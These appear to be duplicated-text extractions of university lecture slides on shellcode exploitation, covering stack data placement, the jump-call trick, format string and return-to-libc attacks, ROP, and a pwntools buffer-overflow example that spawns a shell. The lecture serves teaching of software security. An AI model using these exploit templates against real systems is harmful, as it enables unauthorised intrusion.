

## Lecture 5

### Exploiting. Shellcodes (part 2)

---

Computer and Network Security  
October 28, 2019  
Computer Science and Engineering Department

## └ Placing Data in Shellcodes

push it on the stack and save the pointer

```
Data on stack
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
```

push it on the stack and save the pointer

Data on stack

```
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
```

## └ Placing Data in Shellcodes (2)

do a jump-call trick (<http://stackoverflow.com/a/15704848>)

```

jump-call trick
jmp MESSAGE ; 1) lets jump to MESSAGE
GOBACK:
mov eax, 0x4
mov ebx, 0x1
pop ecx ; 3) we are popping into 'ecx', now we have the
; address of "Hello, World!\r\n"
MESSAGE:
call GOBACK ; 2) we are going back, since we used 'call', that means
; the return address, which is in this case the address
; of "Hello, World!\r\n", is pushed into the stack.
db "Hello, World!", 0dh, 0ah

```

do a jump-call trick (<http://stackoverflow.com/a/15704848>)

## jump-call trick

```

    jmp MESSAGE ; 1) lets jump to MESSAGE
GOBACK:
    mov eax, 0x4
    mov ebx, 0x1
    pop ecx ; 3) we are popping into 'ecx', now we have the
            ; address of "Hello, World!\r\n"
MESSAGE:
    call GOBACK ; 2) we are going back, since we used 'call', that means
                ; the return address, which is in this case the address
                ; of "Hello, World!\r\n", is pushed into the stack.
    db "Hello, World!", 0dh, 0ah

```

## └ Breaking a Remote Service

- ▶ stack addresses may differ even if not using ASLR
- ▶ you need a remote connection to send data: netcat, socket API, expect/pexpect API
- ▶ you may need multiple ping-pongs with the remote service
- ▶ pwntools (<https://github.com/Gallopsled/pwntools>) makes it easier

- ▶ stack addresses may differ even if not using ASLR
- ▶ you need a remote connection to send data: netcat, socket API, expect/pexpect API
- ▶ you may need multiple ping-pongs with the remote service
- ▶ pwntools (<https://github.com/Gallopsled/pwntools>) makes it easier

Shellcode Constraints

Tools

Conclusion

- ▶ strict input validation
- ▶ very limited set of instructions
- ▶ `http://www.phrack.org/issues.html?issue=57&id=15#article`
- ▶ use initial limited shell code to write extended shell code

- ▶ strict input validation
- ▶ very limited set of instructions
- ▶ `http://www.phrack.org/issues.html?issue=57&id=15#article`
- ▶ use initial limited shell code to write extended shell code

- ▶ initialize an environment variable with the shellcode string
- ▶ environment variable is placed on the stack of main
- ▶ may be large enough to store large shellcodes
- ▶ unable to be done if stack is non-executable

- ▶ initialize an environment variable with the shellcode string
- ▶ environment variable is placed on the stack of main
- ▶ may be large enough to store large shellcodes
- ▶ unable to be done if stack is non-executable

- ▶ enough to overwrite the code pointer
- ▶ not enough to store the shellcode
- ▶ only use the buffer to overwrite the code pointer
- ▶ place the shellcode in a different location

- ▶ enough to overwrite the code pointer
- ▶ not enough to store the shellcode
- ▶ only use the buffer to overwrite the code pointer
- ▶ place the shellcode in a different location

- ▶ two-phase attack
- ▶ overwrite the code pointer with the address of main (or that of another function)
- ▶ call the vulnerable read/fgets/etc. function again
- ▶ you may use the first call to leak data or make some more room and the second call for the actual attack

- ▶ two-phase attack
- ▶ overwrite the code pointer with the address of main (or that of another function)
- ▶ call the vulnerable read/fgets/etc. function again
- ▶ you may use the first call to leak data or make some more room and the second call for the actual attack

- ▶ place the shellcode on the heap
- ▶ requires a heap buffer overflow
- ▶ made difficult by ASLR and non-executable flags

- ▶ place the shellcode on the heap
- ▶ requires a heap buffer overflow
- ▶ made difficult by ASLR and non-executable flags

- ▶ use `printf()` functions that don't do proper checking of arguments
- ▶ may use `%x` and `%s` to read arbitrary data and string from memory
- ▶ may use `%n` to write arbitrary data into memory and possibly trigger a shellcode execution
- ▶ `puts()` may be used; pass an address with information you want to leak

- ▶ uses `printf()` functions that don't do proper checking of arguments
- ▶ may use `%x` and `%s` to read arbitrary data and string from memory
- ▶ may use `%n` to write arbitrary data into memory and possibly trigger a shellcode execution
- ▶ `puts()` may be used; pass an address with information you want to leak

## Lecture 5

### Shellcode Constraints

#### Return-to-libc

- ▶ if stack is non-executable, one may not execute code on the stack → no shellcode
- ▶ we could call the `system` library call with the `"/bin/bash"` argument
- ▶ with the help of a buffer overflow one overwrites the return address causing a call to `libc`
- ▶ this is restricted to only functions available in `libc`
- ▶ one must know in advance the address of the `system` library call
- ▶ the `"/bin/bash"` may be stored in an environment variable (or is already stored in the `SHELL` environment variable) and it's address may be placed on the stack

- ▶ if stack is non-executable, one may not execute code on the stack → no shellcode
- ▶ we could call the `system` library call with the `"/bin/bash"` argument
- ▶ with the help of a buffer overflow one overwrites the return address causing a call to `libc`
- ▶ this is restricted to only functions available in `libc`
- ▶ one must know in advance the address of the `system` library call
- ▶ the `"/bin/bash"` may be stored in an environment variable (or is already stored in the `SHELL` environment variable) and it's address may be placed on the stack

- ▶ using existing sequences ending in `ret` from the program executable code
- ▶ sequences are programmed on the stack and then executed one by one to provide the required effect
- ▶ sequences are called gadgets
- ▶ we'll talk more about these in the future classes

- ▶ using existing sequences ending in `ret` from the program executable code
- ▶ sequences are programmed on the stack and then executed one by one to provide the required effect
- ▶ sequences are called gadgets
- ▶ we'll talk more about these in the future classes

Shellcode Constraints

CNSO pwntools skeleton

```

Skeleton for using pwntools
from pwn import *

local = False
if local == True:
    io = process("/path/to/executable")
else:
    HOST = "141.85.100.200"
    PORT = 31337
    io = remote(HOST, PORT)

# TODO: Create shellcode, payload. Do ping-pong with the vulnerable program.
...

```

## Skeleton for using pwntools

```

from pwn import *

local = False
if local == True:
    io = process("/path/to/executable")
else:
    HOST = "141.85.100.200"
    PORT = 31337
    io = remote(HOST, PORT)

# TODO: Create shellcode, payload. Do ping-pong with the vulnerable program.
...

```

```

pwntools example
from pwn import *

io = process("/path/to/executable")

buffer_start = 0x08424242
buffer_to_ret_address_offset = 0x2c

# Craft payload: shellcode + padding + overwrite_address
shellcode = asm(shellcraft.i386.linux.sh())
payload = shellcode + (buffer_to_ret_address_offset - \
    len(shellcode)) * "A" + p32(buffer_start)

# Send payload to overwrite return address with buffer
# start address (buffer stores shellcode).
io.send(payload)

# Do recv if required and other ping-pong with the vulnerable program.
...

# Turn interactive and use the shell.
io.interactive()

```

## pwntools example

```

from pwn import *

io = process("/path/to/executable")

buffer_start = 0x08424242
buffer_to_ret_address_offset = 0x2c

# Craft payload: shellcode + padding + overwrite_address
shellcode = asm(shellcraft.i386.linux.sh())
payload = shellcode + (buffer_to_ret_address_offset - \
    len(shellcode)) * "A" + p32(buffer_start)

# Send payload to overwrite return address with buffer
# start address (buffer stores shellcode).
io.send(payload)

# Do recv if required and other ping-pong with the vulnerable program.
...

# Turn interactive and use the shell.
io.interactive()
